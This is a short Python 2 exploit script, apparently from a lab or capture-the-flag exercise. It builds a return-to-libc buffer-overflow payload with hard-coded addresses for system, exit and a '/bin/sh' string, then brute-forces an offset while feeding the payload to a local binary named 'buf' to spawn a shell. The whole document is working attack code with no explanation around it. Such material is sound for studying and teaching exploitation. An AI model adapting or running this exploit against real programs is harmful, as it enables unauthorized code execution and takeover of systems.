ret.py

from struct import pack
from subprocess import call
junk='A'*100
system=pack("I",0xf7e22d60)        #convert address to little endian
exit=pack("I",0xf7e16070)
sh=pack("I",0xf7f5c311)
for i in range(0x3b,0x4a):         #just a rough range
    ecx=pack("I",0xffffd248+i)
    payload = junk + ecx + system + exit + sh
    print hex(i)                   #prints exact offset
    call(['./buf',payload])